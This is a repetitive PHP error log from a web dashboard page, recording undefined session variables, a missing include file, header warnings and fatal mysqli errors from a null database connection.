[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
|
||||
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
|
||||
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
|
||||
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
|
||||
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
|
||||
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 12
|
||||
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Undefined variable $mytk in /home/luckycha/public_html/Dashboard/Cards/index.php on line 306
|
||||
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Undefined variable $mypassss in /home/luckycha/public_html/Dashboard/Cards/index.php on line 321
|
||||
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Undefined variable $mystole in /home/luckycha/public_html/Dashboard/Cards/index.php on line 336
|
||||
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
|
||||
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
|
||||
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
|
||||
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
|
||||
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
|
||||
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 12
|
||||
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Undefined variable $mytk in /home/luckycha/public_html/Dashboard/Cards/index.php on line 306
|
||||
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Undefined variable $mypassss in /home/luckycha/public_html/Dashboard/Cards/index.php on line 321
|
||||
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Undefined variable $mystole in /home/luckycha/public_html/Dashboard/Cards/index.php on line 336
|
||||
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
|
||||
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
|
||||
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
|
||||
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
|
||||
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
|
||||
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 12
|
||||
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Undefined variable $mytk in /home/luckycha/public_html/Dashboard/Cards/index.php on line 306
|
||||
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Undefined variable $mypassss in /home/luckycha/public_html/Dashboard/Cards/index.php on line 321
|
||||
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Undefined variable $mystole in /home/luckycha/public_html/Dashboard/Cards/index.php on line 336
|
||||
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
|
||||
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
|
||||
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
|
||||
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 11
|
||||
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 54
|
||||
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:54
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(54): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 54
|
||||
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
|
||||
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
|
||||
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
|
||||
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
|
||||
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
|
||||
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 12
|
||||
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Undefined variable $mytk in /home/luckycha/public_html/Dashboard/Cards/index.php on line 306
|
||||
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Undefined variable $mypassss in /home/luckycha/public_html/Dashboard/Cards/index.php on line 321
|
||||
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Undefined variable $mystole in /home/luckycha/public_html/Dashboard/Cards/index.php on line 336
|
||||
[05-Nov-2023 21:39:47 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
|
||||
[05-Nov-2023 21:39:47 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
|
||||
[05-Nov-2023 21:39:47 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
|
||||
[05-Nov-2023 21:40:38 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
|
||||
[05-Nov-2023 21:40:38 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
|
||||
[05-Nov-2023 21:40:38 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
|
||||
[05-Nov-2023 21:40:39 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
|
||||
[05-Nov-2023 21:40:39 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
|
||||
[05-Nov-2023 21:40:39 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
|
||||
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
|
||||
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
|
||||
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
|
||||
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
|
||||
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
|
||||
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 12
|
||||
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Undefined variable $mytk in /home/luckycha/public_html/Dashboard/Cards/index.php on line 300
|
||||
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Undefined variable $mypassss in /home/luckycha/public_html/Dashboard/Cards/index.php on line 315
|
||||
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Undefined variable $mystole in /home/luckycha/public_html/Dashboard/Cards/index.php on line 330
|
||||
[06-Nov-2023 14:22:26 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[06-Nov-2023 14:22:26 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
|
||||
[06-Nov-2023 14:22:26 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[06-Nov-2023 14:22:26 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[06-Nov-2023 14:22:26 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[06-Nov-2023 14:22:27 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[06-Nov-2023 14:22:27 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
|
||||
[06-Nov-2023 14:22:27 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[06-Nov-2023 14:22:27 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[06-Nov-2023 14:22:27 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[06-Nov-2023 14:23:03 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[06-Nov-2023 14:23:03 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
|
||||
[06-Nov-2023 14:23:03 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[06-Nov-2023 14:23:03 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[06-Nov-2023 14:23:03 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[06-Nov-2023 14:23:12 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[06-Nov-2023 14:23:12 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
|
||||
[06-Nov-2023 14:23:12 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[06-Nov-2023 14:23:12 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[06-Nov-2023 14:23:12 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[06-Nov-2023 17:02:09 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[06-Nov-2023 17:02:09 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
|
||||
[06-Nov-2023 17:02:09 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[06-Nov-2023 17:02:09 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[06-Nov-2023 17:02:09 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[06-Nov-2023 19:07:59 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[06-Nov-2023 19:07:59 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
|
||||
[06-Nov-2023 19:07:59 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[06-Nov-2023 19:07:59 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[06-Nov-2023 19:07:59 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[06-Nov-2023 19:15:53 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[06-Nov-2023 19:15:53 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
|
||||
[06-Nov-2023 19:15:53 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[06-Nov-2023 19:15:53 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[06-Nov-2023 19:15:53 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[06-Nov-2023 21:41:52 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[06-Nov-2023 21:41:52 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
|
||||
[06-Nov-2023 21:41:52 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[06-Nov-2023 21:41:52 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[06-Nov-2023 21:41:52 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[06-Nov-2023 21:41:53 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[06-Nov-2023 21:41:53 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
|
||||
[06-Nov-2023 21:41:53 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[06-Nov-2023 21:41:53 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[06-Nov-2023 21:41:53 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[06-Nov-2023 21:41:55 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[06-Nov-2023 21:41:55 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
|
||||
[06-Nov-2023 21:41:55 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[06-Nov-2023 21:41:55 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[06-Nov-2023 21:41:55 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
|
||||
[06-Nov-2023 21:41:56 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[06-Nov-2023 21:41:56 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
|
||||
[06-Nov-2023 21:41:56 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[06-Nov-2023 21:41:56 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
